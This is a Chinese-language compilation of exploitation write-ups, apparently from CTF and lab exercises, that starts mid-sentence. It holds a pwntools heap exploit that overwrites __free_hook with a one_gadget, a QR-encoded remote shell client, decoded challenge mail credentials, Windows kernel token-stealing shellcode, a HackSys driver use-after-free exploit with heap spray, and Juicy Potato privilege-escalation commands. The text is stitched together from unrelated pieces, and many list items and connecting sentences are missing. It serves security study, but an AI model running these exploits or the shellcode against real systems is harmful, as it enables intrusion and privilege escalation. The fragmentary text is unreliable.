dele
函数中,第二次循环并没有循环到9,如果dele
时输入9,会直接free
掉ptr[9]
,此时dword_804AA60[i]=0
.int dele()
{
int result; // eax
int v1; // [esp+8h] [ebp-10h]
signed int i; // [esp+Ch] [ebp-Ch]
result = sub_8048671();
v1 = result;
if ( result >= 0 && result <= 9 )
{
result = (int)ptr[result];
if ( result )
{
result = dword_804AA60[v1];
if ( result )
{
free(ptr[v1]);
for ( i = v1; i <= 8 && ptr[i]; ++i ) // vul
{
ptr[i] = ptr[i + 1];
dword_804AA60[i] = dword_804AA60[i + 1];
}
result = i;
dword_804AA60[i] = 0;
}
}
}
return result;
}
ptr[9]
分配一个0x358
的内存的话,在zhixing
函数时,会调用ptr[idx+85*4]
地址的函数:.text:08048944 ; __unwind {
.text:08048944 push ebp
.text:08048945 mov ebp, esp
.text:08048947 sub esp, 18h
.text:0804894A call sub_8048671
.text:0804894F mov [ebp+var_C], eax
.text:08048952 cmp [ebp+var_C], 0
.text:08048956 js short loc_80489C1
.text:08048958 cmp [ebp+var_C], 9
.text:0804895C jg short loc_80489C1
.text:0804895E mov eax, [ebp+var_C]
.text:08048961 mov eax, ds:ptr[eax*4]
.text:08048968 test eax, eax
.text:0804896A jz short loc_80489C4
.text:0804896C mov eax, [ebp+var_C]
.text:0804896F mov eax, ds:dword_804AA60[eax*4]
.text:08048976 cmp eax, 2
.text:08048979 jnz short loc_804899E
.text:0804897B mov eax, [ebp+var_C]
.text:0804897E mov eax, ds:ptr[eax*4]
.text:08048985 mov [ebp+var_10], eax
.text:08048988 mov eax, [ebp+var_10]
.text:0804898B mov eax, [eax+354h]
.text:08048991 sub esp, 0Ch
.text:08048994 push [ebp+var_10]
.text:08048997 call eax
.text:08048999 add esp, 10h
.text:0804899C jmp short locret_80489C5
.text:0804899E ; ---------------------------------------------------------------------------
.text:0804899E
.text:0804899E loc_804899E: ; CODE XREF: zhixing+35↑j
.text:0804899E mov eax, [ebp+var_C]
.text:080489A1 mov eax, ds:ptr[eax*4]
.text:080489A8 mov [ebp+var_14], eax
.text:080489AB mov eax, [ebp+var_14]
.text:080489AE mov eax, [eax+154h] //ptr[idx+85*4]
.text:080489B4 sub esp, 0Ch
.text:080489B7 push [ebp+var_14]
.text:080489BA call eax //执行这个函数
.text:080489BC add esp, 10h
.text:080489BF jmp short locret_80489C5
这道题考察的是堆溢出在高版本的libc
的利用方式,在高版本的libc
中引入了tcache
机制
tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找到对应大小的chunk.
在merge
这个功能中,当分配的堆块占用了下一chunk
的pre_size
位时,strcpy
的时候会将下一chunk
的size
也复制,再配合strcat
会溢出一个字节,merge
部分函数代码如下
int sub_E29()
{
int v1; // ST1C_4
signed int i; // [rsp+8h] [rbp-18h]
signed int v3; // [rsp+Ch] [rbp-14h]
signed int v4; // [rsp+10h] [rbp-10h]
for ( i = 0; i <= 14 && qword_2020A0[i]; ++i )
;
if ( i > 14 )
return puts("full");
printf("idx1:");
v3 = sub_B8B();
if ( v3 < 0 || v3 > 14 || !qword_2020A0[v3] )
return puts("invalid");
printf("idx2:");
v4 = sub_B8B();
if ( v4 < 0 || v4 > 14 || !qword_2020A0[v4] )
return puts("invalid");
v1 = dword_202060[v3] + dword_202060[v4];
qword_2020A0[i] = malloc(v1);
strcpy((char *)qword_2020A0[i], (const char *)qword_2020A0[v3]);
strcat((char *)qword_2020A0[i], (const char *)qword_2020A0[v4]);
dword_202060[i] = v1;
return puts("Done");
}
tcache
的链表,再分配一个unsortbin
的chunk
然后free
,此时的fd
和bk
会存放main_arena
的地址,然后malloc
一个小chunk
把fd
填满,就可以泄露main_arena
的地址了,代码如下:add(200,200*'a')#0
add(200,200*'a')#1
add(200,200*'a')#2
add(200,200*'a')#3
add(200,200*'a')#4
add(200,200*'a')#5
add(200,200*'a')#6
add(200,200*'a')#7
add(200,200*'a')#8
add(200,200*'a')#9
for i in range(7):
dele(i+1)#1-7
dele(8)#8
for i in range(7):
add(200,200*'e')
add(8,'bbbbbbbb')
show(8)
p.recvuntil('bbbbbbbb')
leak=u64(p.recv(6).ljust(8,'\x00'))
log.info("leak=%s"%hex(leak))
libc_base=leak-288-0x10-libc.symbols['__malloc_hook']
log.info("libc_base=%s"%hex(libc_base))
此时堆栈的结构如下:
pwndbg> x /10gx 0x5555557578f0-0x30
0x5555557578c0: 0x6565656565656565 0x6565656565656565
0x5555557578d0: 0x6565656565656565 0x0000000000000021 //chunk8
0x5555557578e0: 0x6262626262626262 0x00007ffff7dcfd60
0x5555557578f0: 0x6161616161616161 0x00000000000000b1
0x555555757900: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
pwndbg>
可以看到chunk8
已经可以泄露main_arena
的地址了
unsortedbin
填满,之后利用tcache
形成两个链表,修改链表的fd
到__free_hook
,然后,再malloc
,就可以getshell
add(0xa0,0xa0*'a')
for i in range(7):
dele(i+1)#1-7
gdb.attach(p,"b* 0x555555554A3A\n")
add(0x68,'aa') #1
add(0x28,'b'*0x28) #2
add(0x40,'d'*0x3f+'\x81') #3
add(0x60,'c') #4
#raw_input('1')
dele(1)
merge(2,3)
dele(2)
dele(3)
one_gadget = libc_base + 0x4f322
free_hook = libc_base + 0x3ed8e8
log.info("free_hook=%s"%hex(free_hook))
add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
dele(0)
p.interactive()
下面的结构可以看到我们成功修改到了__free_hook
的地址
pwndbg> bins
tcachebins
0x50 [ 1]: 0x555555757b20 —▸ 0x7ffff7dd18e8 (__free_hook) ◂— ... //free_hook
0xd0 [ 7]: 0x555555757330 —▸ 0x555555757400 —▸ 0x5555557574d0 —▸ 0x5555557575a0 —▸ 0x555555757670 —▸ 0x555555757740 —▸ 0x555555757810 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
这道题存在off-by-null
漏洞,但是只能分配fastbin
,可以通过触发malloc_consolidate()
进行overlapping
,然后通过劫持topchunk
来getshell
该函数主要有两个功能。
//libc-2.28
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;
atomic_store_relaxed (&av->have_fastchunks, false);
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, NULL);
if (p != 0) {
do {
{
unsigned int idx = fastbin_index (chunksize (p));
if ((&fastbin (av, idx)) != fb)
malloc_printerr ("malloc_consolidate(): invalid chunk size");
}
check_inuse_chunk(av, p);
nextp = p->fd; #按照fd的顺序遍历fastbin
/* Slightly streamlined version of consolidation code in free() */
size = chunksize (p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
#pre_inuse为0,向前合并
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
# 下面的chunk不是top_chunk
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin; #将此chunk放到unsoeted bin中
p->fd = first_unsorted;
set_foot(p, size);
}
else { #如果下面的chunk是top_chunk,那么久合并到top_chunk
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}
这个函数的具体步骤如下:
fastbin
是否初始化,如果未初始化,则进行初始化然后退出。fastbin
由小到大的顺序(0x20 ,0x30 ,0x40这个顺序)合并chunk
,每种相同大小的fastbin
中chunk
的处理顺序是从fastbin->fd
开始取,下一个处理的是p->fd
,依次类推。pre_chunk
。next_chunk
:如果next_chunk
是top_chunk
,则直接合并到top_chunk
,然后进行第六步;如果next_chunk
不是top_chunk
,尝试合并。chunk
插入到unsorted bin
头部。fastbin
,回到第二步,直到清空所有fastbin
中的chunk
,然后退出。Description: QShell is running on nc spbctf.ppctf.net 37338
服务端返回一个二维码
解码为sh-5.0$
这道题的意思是服务器返回一个二维码shell,我们通过对服务器器的二维码解码,然后对命令进行二维码加密发送,获得一个shell
from PIL import Image
from pyzbar.pyzbar import decode
import qrcode
from time import sleep
from ptrlib import *
def receive():
qr = [[]]
data = sock.recvuntil("\n\n.").rstrip(b'.').rstrip()
sock.recvline()
data += b'#'
offset = 0
while offset < len(data):
if data[offset] == 0xe2:
qr[-1].append(255)
offset += 3
elif data[offset] == 0x20:
qr[-1].append(0)
offset += 1
elif data[offset] == 0x0a:
qr.append([])
offset += 1
else:
break
image = Image.new('RGB', (len(qr), len(qr[0])), (255, 255, 255))
size = len(qr)
for y, line in enumerate(qr):
for x, c in enumerate(line):
c = qr[y][x]
image.putpixel((x, y), (c, c, c))
image = image.resize((size * 3, size * 3))
image.save("last.png")
result = decode(image)
return result[0][0]
def send(cmd):
qr = qrcode.QRCode(box_size=1, border=4, version=20)
qr.add_data(cmd)
qr.make()
img = qr.make_image(fill_color="white", back_color="black")
data = b''
for y in range(img.size[1]):
for x in range(img.size[0]):
r = img.getpixel((x, y))
if r == (0, 0, 0):
data += b'\xe2\x96\x88'
else:
data += b' '
data += b'\n'
data += b'\n.'
sock.sendline(data)
return
if __name__ == '__main__':
sock = Socket("spbctf.ppctf.net", 37338)
while True:
print(bytes2str(receive()), end="")
cmd = input()
send(cmd)
sock.interactive()
get Flag
$ python solve.py
[+] __init__: Successfully connected to spbctf.ppctf.net:37338
sh-5.0$ ls
1.py
2.py
docker-compose.yml
Dockerfile
flag.txt
log.txt
qweqwe.png
rex.txt
runserver.sh
run.sh
$ python solve.py
[+] __init__: Successfully connected to spbctf.ppctf.net:37338
sh-5.0$ cat flag.txt
cybrics{QR_IS_MY_LOVE}
给了一个邮件内容
220 ugm.cybrics.net ESMTP Postfix (Ubuntu)
EHLO localhost
250-ugm.cybrics.net
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH LOGIN
334 VXNlcm5hbWU6
ZmF3a2Vz
334 UGFzc3dvcmQ6
Q29tYmluNHQxb25YWFk=
235 2.7.0 Authentication successful
MAIL FROM: <fawkes@ugm.cybrics.net>
250 2.1.0 Ok
RCPT TO: <area51@af.mil>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: fawkes <fawkes@ugm.cybrics.net>
To: Area51 <area51@af.mil>
Subject: add - archive pw
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
.
250 2.0.0 Ok: queued as C4D593E8B6
QUIT
221 2.0.0 Bye
base64解出账号密码 fawkes / Combin4t1onXXY
Quoted-printable编码使用cyberchife解密
btw.
password for the archive with flag: crack0Weston88vertebra
cheers!
写脚本接收文件
from ptrlib import *
import base64
sock = Socket("ugm.cybrics.net", 110)
sock.recvline()
sock.sendline("USER fawkes")
sock.recvline()
sock.sendline("PASS Combin4t1onXXY")
sock.recvline()
sock.sendline("RETR 1")
sock.recvuntil("base64\r\n\r\n")
data = b''
while True:
data += sock.recv()
if b'\r\n\r\n' in data:
data = data[:data.index(b'\r\n\r\n')]
break
binary = base64.b64decode(data)
with open("secret_flag.zip", "wb") as f:
f.write(binary)
题目
Matreshka hides flag. Open it
matreshka.zip
使用jad反编译class文件
D:\Tools\Android\AndCrack_Tool\Tools\ApkIDE>jad.exe Code2.class
Parsing Code2.class... Generating Code2.jad
D:\Tools\Android\AndCrack_Tool\Tools\ApkIDE>
反编译结果
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3)
// Source File Name: 2.java
import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
class Code2
{
Code2()
{
}
public static byte[] decode(byte abyte0[], String s)
throws Exception
{
SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
byte abyte1[] = s.getBytes();
DESKeySpec deskeyspec = new DESKeySpec(abyte1);
javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(2, secretkey);
byte abyte2[] = cipher.doFinal(abyte0);
return abyte2;
}
public static byte[] encode(byte abyte0[], String s)
throws Exception
{
SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
byte abyte1[] = s.getBytes();
DESKeySpec deskeyspec = new DESKeySpec(abyte1);
javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(1, secretkey);
byte abyte2[] = cipher.doFinal(abyte0);
return abyte2;
}
public static void main(String args[])
throws Exception
{
String s = "matreha!";
byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s);
byte abyte1[] = {
76, -99, 37, 75, -68, 10, -52, 10, -5, 9,
92, 1, 99, -94, 105, -18
};
for(int i = 0; i < abyte1.length; i++)
if(abyte1[i] != abyte0[i])
{
System.out.println("No");
return;
}
File file = new File("data.bin");
FileInputStream fileinputstream = new FileInputStream(file);
byte abyte2[] = new byte[(int)file.length()];
fileinputstream.read(abyte2);
fileinputstream.close();
byte abyte3[] = decode(abyte2, System.getProperty("user.name"));
FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin");
fileoutputstream.write(abyte3, 0, abyte3.length);
fileoutputstream.flush();
fileoutputstream.close();
}
}
!process 0 1 cmd.exe
获取cmd的地址dt _eprocess
查看token位置dd+地址
获取cmd的token值ed+地址+值
修改cmd的token为system的token首先我们要明白一个道理,运行一个普通的程序在正常情况下是没有系统权限的,但是往往在一些漏洞利用中,我们会想要让一个普通的程序达到很高的权限就比如系统权限,下面做一个实验,我们在虚拟机中用普通权限打开一个cmd然后断下来,用!dml_proc命令查看当前进程的信息
kd> !dml_proc
Address PID Image file name
865cd8e8 4 System
89cff600 10c smss.exe
88178030 164 csrss.exe
...
8345f030 ff0 cmd.exe
886785f8 ff8 conhost.exe
我们可以看到System
的地址是 865cd8e8 ,cmd
的地址是 8345f030 ,我们可以通过下面的方式查看地址中的成员信息,这里之所以 +f8 是因为token
的位置是在进程偏移为 0xf8 的地方,也就是Value
的值,那么什么是token
?你可以把它比做等级,不同的权限等级不同,比如系统权限等级是5级(最高),那么普通权限就好比是1级,我们可以通过修改我们的等级达到系统的5级权限,这也就是提权的基本原理,如果我们可以修改进程的token
为系统的token
,那么就可以提权成功,我们手动操作一次下面是修改前token
值的对比
kd> dt nt!_EX_FAST_REF 865cd8e8+f8
+0x000 Object : 0x8b401273 Void
+0x000 RefCnt : 0y011
+0x000 Value : 0x8b401273 \\system token
kd> dt nt!_EX_FAST_REF 8345f030+f8
+0x000 Object : 0xa599049a Void
+0x000 RefCnt : 0y010
+0x000 Value : 0xa599049a \\cmd token
我们通过ed命令修改cmd token的值为system token
kd> ed 8345f030+f8 8b401273
kd> dt nt!_EX_FAST_REF 8345f030+f8
+0x000 Object : 0x8b401273 Void
+0x000 RefCnt : 0y011
+0x000 Value : 0x8b401273
用whoami
命令发现权限已经变成了系统权限
我们将上面的操作变为汇编的形式如下
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
fs寄存器在Ring0
中指向一个称为KPCR
的数据结构,即FS段的起点与 KPCR 结构对齐,而在Ring0
中fs寄存器一般为0x30,这样fs:[124]就指向KPRCB
数据结构的第四个字节。由于 KPRCB 结构比较大,在此就不列出来了。查看其数据结构可以看到第四个字节指向CurrentThead
(KTHREAD类型)。这样fs:[124]其实是指向当前线程的_KTHREAD
kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x018 HighCycleTime : Uint4B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr32 Void
+0x02c StackLimit : Ptr32 Void
+0x030 KernelStack : Ptr32 Void
+0x034 ThreadLock : Uint4B
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : UChar
+0x03a Alerted : [2] UChar
+0x03c KernelStackResident : Pos 0, 1 Bit
+0x03c ReadyTransition : Pos 1, 1 Bit
+0x03c ProcessReadyQueue : Pos 2, 1 Bit
+0x03c WaitNext : Pos 3, 1 Bit
+0x03c SystemAffinityActive : Pos 4, 1 Bit
+0x03c Alertable : Pos 5, 1 Bit
+0x03c GdiFlushActive : Pos 6, 1 Bit
+0x03c UserStackWalkActive : Pos 7, 1 Bit
+0x03c ApcInterruptRequest : Pos 8, 1 Bit
+0x03c ForceDeferSchedule : Pos 9, 1 Bit
+0x03c QuantumEndMigrate : Pos 10, 1 Bit
+0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit
+0x03c TimerActive : Pos 12, 1 Bit
+0x03c SystemThread : Pos 13, 1 Bit
+0x03c Reserved : Pos 14, 18 Bits
+0x03c MiscFlags : Int4B
+0x040 ApcState : _KAPC_STATE
+0x040 ApcStateFill : [23] UChar
+0x057 Priority : Char
+0x058 NextProcessor : Uint4B
+0x05c DeferredProcessor : Uint4B
+0x060 ApcQueueLock : Uint4B
+0x064 ContextSwitches : Uint4B
+0x068 State : UChar
+0x069 NpxState : Char
+0x06a WaitIrql : UChar
+0x06b WaitMode : Char
+0x06c WaitStatus : Int4B
+0x070 WaitBlockList : Ptr32 _KWAIT_BLOCK
+0x074 WaitListEntry : _LIST_ENTRY
+0x074 SwapListEntry : _SINGLE_LIST_ENTRY
+0x07c Queue : Ptr32 _KQUEUE
+0x080 WaitTime : Uint4B
+0x084 KernelApcDisable : Int2B
+0x086 SpecialApcDisable : Int2B
+0x084 CombinedApcDisable : Uint4B
+0x088 Teb : Ptr32 Void
+0x090 Timer : _KTIMER
+0x0b8 AutoAlignment : Pos 0, 1 Bit
+0x0b8 DisableBoost : Pos 1, 1 Bit
+0x0b8 EtwStackTraceApc1Inserted : Pos 2, 1 Bit
+0x0b8 EtwStackTraceApc2Inserted : Pos 3, 1 Bit
+0x0b8 CalloutActive : Pos 4, 1 Bit
+0x0b8 ApcQueueable : Pos 5, 1 Bit
+0x0b8 EnableStackSwap : Pos 6, 1 Bit
+0x0b8 GuiThread : Pos 7, 1 Bit
+0x0b8 UmsPerformingSyscall : Pos 8, 1 Bit
+0x0b8 VdmSafe : Pos 9, 1 Bit
+0x0b8 UmsDispatched : Pos 10, 1 Bit
+0x0b8 ReservedFlags : Pos 11, 21 Bits
+0x0b8 ThreadFlags : Int4B
+0x0bc ServiceTable : Ptr32 Void
+0x0c0 WaitBlock : [4] _KWAIT_BLOCK
+0x120 QueueListEntry : _LIST_ENTRY
再来看看_EPROCESS的结构,+0xb8处是进程活动链表,用于储存当前进程的信息,我们通过对它的遍历,可以找到system的token,我们知道system的PID一直是4,通过这一点我们就可以遍历了,遍历到系统token之后替换就行了
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
如果你是一个pwn选手,那么肯定很清楚UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制,Windows下的内存申请也是有规律的,我们知道ExAllocatePoolWithTag
函数中申请的内存并不是胡乱申请的,操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话,在源码中你会发现在UseUaFObject
中存在g_UseAfterFreeObject->Callback()
;的片段,如果我们将Callback
覆盖为shellcode
就可以提权了
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。但是这里有个问题,我们电脑中有许许多多的空闲内存,如果我们只构造一块假堆,我们并不能保证刚好能够用到我们的这块内存,所以我们就需要构造很多个这种堆,换句话说就是堆海战术吧,如果你看过0day安全这本书,里面说的堆喷射也就是这个原理。
根据上面我们已经得到提权的代码,相当于我们只有子弹没有枪,这样肯定是不行的,我们首先伪造环境
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
接下来我们进行堆喷射
for (int i = 0; i < 5000; i++)
{
// 调用 AllocateFakeObject() 对象
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
你可能会疑惑上面的IO控制码是如何得到的,这是通过逆向分析IrpDeviceIoCtlHandler
函数得到的,我们通过DeviceIoControl
函数实现对驱动中函数的调用,下面原理相同
// 调用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
如果你不清楚DeviceIoControl函数的话可以参考官方文档
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
对于 UseAfterFree
, 漏洞利用是在 free
掉了对象之后再次对它的引用,如果我们增加一个条件,判断对象是否为空,如果为空则不调用,那么就可以避免 UseAfterFree
的发生,而在FreeUaFObject()
函数中指明了安全的措施,我们只需要把g_UseAfterFreeObject
置为NULL
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
下面是在UseUaFObject()
函数中的修复方案:
if(g_UseAfterFreeObject != NULL)
{
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}
Juicy Potato是一款Windows系统的本地提权工具,是在工具RottenPotatoNG的基础上做了扩展,适用条件更广。
利用的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,通常在webshell下使用
那么,Juicy Potato的使用方法有哪些,有哪些限制条件呢?本文将对其进行测试。
Juicy Potato的下载地址:
https://github.com/ohpe/juicy-potato
本文将要介绍以下内容:
参考资料:
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
需要理解的几个知识:
Juicy Potato的实现流程如下:
在指定ip和端口的位置尝试加载一个COM对象
RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
正常情况下,由于权限不足,当前权限不是System,无法认证成功
由于权限为当前用户,所以NTLM认证能够成功完成
RottenPotatoNG使用的135端口
Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改
重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正
如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限
或者
如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限
利用的关键: 当前用户支持SeImpersonate或者SeAssignPrimaryToken权限
以下用户具有该权限:
针对提权的话,主要是第三类用户,常见的为LocalService用户,例如IIS和者sqlserver的用户
Juicy Potato提供了枚举可用COM对象的方法,步骤如下:
使用GetCLSID.ps1,地址如下:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1
注:
使用时同级目录下需要包含支持文件.\utils\Join-Object.ps1
执行成功后生成文件CLSID.list
和CLSID.csv
批处理地址如下:
https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat
juicypotato.exe的参数如下:
juicypotato.exe -z -l !port! -c %%i >> result.log
Juicy Potato已经测试了如下Windows系统:
这里测试一下GetCLSID.ps1
如图所示报错:
出错在位置在.\utils\Join-Object.ps1
修复方式
powershell代码如下:
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
Write-Host $a.CLSID
}
命令如下
powershell -ep bypass -f CLSID.ps1
可以选择将结果保存为CLSID.list
地址如下:
https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat
bat脚本不需要做修改
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
如果被修改(例如为111),juicypotato的参数可以使用-n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k <ip>
